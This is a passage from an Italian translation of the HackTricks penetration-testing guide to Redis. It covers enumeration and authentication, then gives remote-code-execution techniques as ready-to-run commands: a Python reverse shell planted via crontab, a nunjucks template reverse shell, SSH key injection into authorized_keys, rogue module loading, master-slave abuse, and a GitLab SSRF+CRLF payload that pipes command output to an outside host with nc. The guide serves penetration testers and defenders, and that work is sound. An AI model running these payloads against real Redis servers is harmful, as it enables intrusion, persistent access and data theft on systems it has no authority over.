hacktricks/network-services-pentesting/6379-pentesting-redis.md

19 KiB

6379 - Pentesting Redis

Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

Unisciti al server HackenProof Discord per comunicare con hacker esperti e cacciatori di bug bounty!

Approfondimenti sull'Hacking
Coinvolgiti con contenuti che esplorano l'emozione e le sfide dell'hacking

Notizie sull'Hacking in Tempo Reale
Resta aggiornato con il mondo dell'hacking in rapida evoluzione attraverso notizie e approfondimenti in tempo reale

Ultime Annunci
Rimani informato sui nuovi bug bounty in arrivo e sugli aggiornamenti cruciali della piattaforma

Unisciti a noi su Discord e inizia a collaborare con i migliori hacker oggi!

Informazioni di Base

Da i documenti: Redis è un archivio di strutture dati in memoria open source (con licenza BSD), utilizzato come database, cache e message broker).

Di default Redis utilizza un protocollo basato su testo semplice, ma devi tenere presente che può anche implementare ssl/tls. Scopri come eseguire Redis con ssl/tls qui.

Porta predefinita: 6379

PORT     STATE SERVICE  VERSION
6379/tcp open  redis   Redis key-value store 4.0.9

Enumerazione Automatica

Alcuni strumenti automatizzati che possono aiutare a ottenere informazioni da un'istanza di redis:

nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server

Enumerazione Manuale

Banner

Redis è un protocollo basato su testo, puoi semplicemente inviare il comando in un socket e i valori restituiti saranno leggibili. Ricorda anche che Redis può essere eseguito utilizzando ssl/tls (ma questo è molto strano).

In un'istanza Redis regolare puoi semplicemente connetterti utilizzando nc oppure potresti anche utilizzare redis-cli:

nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools

Il primo comando che potresti provare è info. Potrebbe restituire un output con informazioni sull'istanza di Redis o qualcosa del genere potrebbe essere restituito:

-NOAUTH Authentication required.

In questo ultimo caso, ciò significa che è necessario avere credenziali valide per accedere all'istanza di Redis.

Autenticazione Redis

Per impostazione predefinita Redis può essere accesso senza credenziali. Tuttavia, può essere configurato per supportare solo password o username + password.
È possibile impostare una password nel file redis.conf con il parametro requirepass o temporaneamente fino al riavvio del servizio collegandosi ad esso ed eseguendo: config set requirepass p@ss$12E45.
Inoltre, un username può essere configurato nel parametro masteruser all'interno del file redis.conf.

{% hint style="info" %} Se è configurata solo la password, lo username utilizzato è "default".
Inoltre, si noti che non c'è modo di scoprire esternamente se Redis è stato configurato solo con la password o con username + password. {% endhint %}

In casi come questo sarà necessario trovare credenziali valide per interagire con Redis, quindi potresti provare a forzare l'accesso.
Nel caso in cui tu abbia trovato credenziali valide, è necessario autenticare la sessione dopo aver stabilito la connessione con il comando:

AUTH <username> <password>

Credenziali valide verranno risposte con: +OK

Enumerazione autenticata

Se il server Redis permette connessioni anonime o se hai ottenuto credenziali valide, puoi avviare il processo di enumerazione del servizio utilizzando i seguenti comandi:

INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]

Altri comandi Redis possono essere trovati qui e qui.

Nota che i comandi Redis di un'istanza possono essere rinominati o rimossi nel file redis.conf. Ad esempio, questa riga rimuoverà il comando FLUSHDB:

rename-command FLUSHDB ""

Ulteriori informazioni su come configurare in modo sicuro un servizio Redis qui: https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04

Puoi anche monitorare in tempo reale i comandi Redis eseguiti con il comando monitor o ottenere i 25 query più lenti con slowlog get 25

Trova ulteriori informazioni interessanti su altri comandi Redis qui: https://lzone.de/cheat-sheet/Redis

Dumping Database

All'interno di Redis i database sono numerati a partire da 0. Puoi verificare se qualcuno è in uso nell'output del comando info all'interno del blocco "Keyspace":

Oppure puoi semplicemente ottenere tutti i keyspaces (database) con:

INFO keyspace

Nell'esempio, il database 0 e 1 vengono utilizzati. Il database 0 contiene 4 chiavi e il database 1 contiene 1. Per impostazione predefinita, Redis utilizzerà il database 0. Per eseguire il dump ad esempio del database 1, è necessario eseguire:

SELECT 1
[ ... Indicate the database ... ]
KEYS *
[ ... Get Keys ... ]
GET <KEY>
[ ... Get Key ... ]

In caso si riceva il seguente errore -WRONGTYPE Operazione su una chiave che contiene un tipo di valore errato durante l'esecuzione di GET <KEY> è perché la chiave potrebbe essere qualcos'altro rispetto a una stringa o un intero e richiede un operatore speciale per visualizzarla.

Per conoscere il tipo della chiave, utilizzare il comando TYPE, esempio di seguito per le chiavi di tipo lista e hash.

TYPE <KEY>
[ ... Type of the Key ... ]
LRANGE <KEY> 0 -1
[ ... Get list items ... ]
HGET <KEY> <FIELD>
[ ... Get hash item ... ]

# If the type used is weird you can always do:
DUMP <key>

Scarica il database con npm redis-dump o python redis-utils

Unisciti al server HackenProof Discord per comunicare con hacker esperti e cacciatori di bug!

Approfondimenti sull'Hacking
Interagisci con contenuti che esplorano l'emozione e le sfide dell'hacking

Notizie sull'Hacking in Tempo Reale
Resta aggiornato sul mondo dell'hacking frenetico attraverso notizie e approfondimenti in tempo reale

Ultime Annunci
Rimani informato sui nuovi bug bounty in arrivo e sugli aggiornamenti cruciali della piattaforma

Unisciti a noi su Discord e inizia a collaborare con i migliori hacker oggi!

Redis RCE

Shell Interattiva

redis-rogue-server può ottenere automaticamente una shell interattiva o una shell inversa in Redis (<=5.0.5).

./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>

PHP Webshell

Informazioni da qui. Devi conoscere il percorso della cartella del sito Web:

root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
OK
10.85.0.52:6379> save
OK

Se l'eccezione di accesso alla webshell, è possibile svuotare il database dopo il backup e riprovare, ricordarsi di ripristinare il database.

Modello Webshell

Come nella sezione precedente, è possibile sovrascrivere alcuni file di modello html che verranno interpretati da un motore di modelli e ottenere una shell.

Ad esempio, seguendo questo articolo, è possibile vedere che l'attaccante ha iniettato una shell inversa in un html interpretato dal motore di modelli nunjucks:

{{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'),
cp = global.process.mainModule.require('child_process'),
sh = cp.spawn('sh', []);
var client = new net.Socket();
client.connect(1234, 'my-server.com', function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});"
)()}}

{% hint style="warning" %} Nota che diversi motori di template memorizzano i template in memoria, quindi anche se li sovrascrivi, il nuovo non verrà eseguito. In questi casi, o lo sviluppatore ha lasciato attivo il ricaricamento automatico o è necessario eseguire un attacco DoS sul servizio (e aspettarsi che venga riavviato automaticamente). {% endhint %}

SSH

Esempio da qui

Si prega di notare che il risultato di config get dir può cambiare dopo altri comandi di exploit manuali. Si consiglia di eseguirlo per primo subito dopo il login in Redis. Nell'output di config get dir potresti trovare la home dell'utente redis (di solito /var/lib/redis o /home/redis/.ssh), e sapendo questo saprai dove puoi scrivere il file authenticated_users per accedere via ssh con l'utente redis. Se conosci la home di un altro utente valido in cui hai permessi di scrittura, puoi anche abusarne:

  1. Genera una coppia di chiavi pubblica-privata ssh sul tuo pc: ssh-keygen -t rsa
  2. Scrivi la chiave pubblica su un file: (echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt
  3. Importa il file in redis: cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key
  4. Salva la chiave pubblica nel file authorized_keys sul server redis:
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
  1. Infine, puoi fare ssh al server redis con la chiave privata: ssh -i id_rsa redis@10.85.0.52

Questa tecnica è automatizzata qui: https://github.com/Avinash-acid/Redis-Server-Exploit

Crontab

root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK

L'ultimo esempio è per Ubuntu, per Centos, il comando sopra dovrebbe essere: redis-cli -h 10.85.0.52 config set dir /var/spool/cron/

Questo metodo può anche essere utilizzato per guadagnare bitcoin: yam

Caricare il modulo Redis

  1. Seguendo le istruzioni da https://github.com/n0b0dyCN/RedisModules-ExecuteCommand è possibile compilare un modulo redis per eseguire comandi arbitrari.
  2. Poi è necessario un modo per caricare il modulo compilato
  3. Caricare il modulo caricato in fase di esecuzione con MODULE LOAD /percorso/al/miomodulo.so
  4. Elenca i moduli caricati per verificare che sia stato caricato correttamente: MODULE LIST
  5. Esegui comandi:
127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
  1. Scarica il modulo quando vuoi: MODULE UNLOAD mymodule

Bypass della sandbox LUA

Qui puoi vedere che Redis utilizza il comando EVAL per eseguire codice Lua in modalità sandbox. Nel post collegato puoi vedere come abusarlo utilizzando la funzione dofile, ma apparentemente questo non è più possibile. Comunque, se riesci a bypassare la sandbox Lua potresti eseguire comandi arbitrari sul sistema. Inoltre, dallo stesso post puoi vedere alcune opzioni per causare DoS.

Alcuni CVE per sfuggire a LUA:

Modulo Master-Slave

Il redis master tutte le operazioni vengono sincronizzate automaticamente con il redis slave, il che significa che possiamo considerare la vulnerabilità redis come un redis slave, connesso al redis master che controlliamo, quindi possiamo inserire il comando nel nostro redis.

master redis : 10.85.0.51 (Hacker's Server)
slave  redis : 10.85.0.52 (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.85.0.52 -p 6379
slaveof 10.85.0.51 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld

SSRF parlando con Redis

Se puoi inviare una richiesta in testo chiaro a Redis, puoi comunicare con esso poiché Redis leggerà riga per riga la richiesta e risponderà solo con errori alle righe che non comprende:

-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'

Pertanto, se trovi una vulnerabilità SSRF in un sito web e puoi controllare alcuni intestazioni (forse con una vulnerabilità CRLF) o parametri POST, sarai in grado di inviare comandi arbitrari a Redis.

Esempio: Gitlab SSRF + CRLF to Shell

In Gitlab11.4.7 è stata scoperta una vulnerabilità SSRF e una CRLF. La vulnerabilità SSRF era nella funzionalità di importazione del progetto da URL durante la creazione di un nuovo progetto e consentiva di accedere a IP arbitrari nella forma [0:0:0:0:0:ffff:127.0.0.1] (questo accederà a 127.0.0.1), e la vulnerabilità CRLF è stata sfruttata aggiungendo semplicemente i caratteri %0D%0A all'URL.

Pertanto, era possibile abusare di queste vulnerabilità per comunicare con l'istanza Redis che gestisce le code da gitlab e abusare di quelle code per ottenere l'esecuzione del codice. Il payload di abuso della coda Redis è:

multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec

E la richiesta di URL encode che sfrutta SSRF e CRLF per eseguire un whoami e inviare l'output tramite nc è:

git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git

Per qualche motivo (come per l'autore di https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/ da cui è stata presa questa informazione) lo sfruttamento ha funzionato con lo schema git e non con lo schema http.

Unisciti al server HackenProof Discord per comunicare con hacker esperti e cacciatori di bug!

Insight sull'Hacking
Interagisci con contenuti che approfondiscono l'emozione e le sfide dell'hacking

Notizie sull'Hacking in Tempo Reale
Resta aggiornato con il mondo dell'hacking frenetico attraverso notizie e approfondimenti in tempo reale

Ultime Annunci
Rimani informato sui nuovi bug bounty in arrivo e sugli aggiornamenti cruciali della piattaforma

Unisciti a noi su Discord e inizia a collaborare con i migliori hacker oggi!

Impara l'hacking AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks: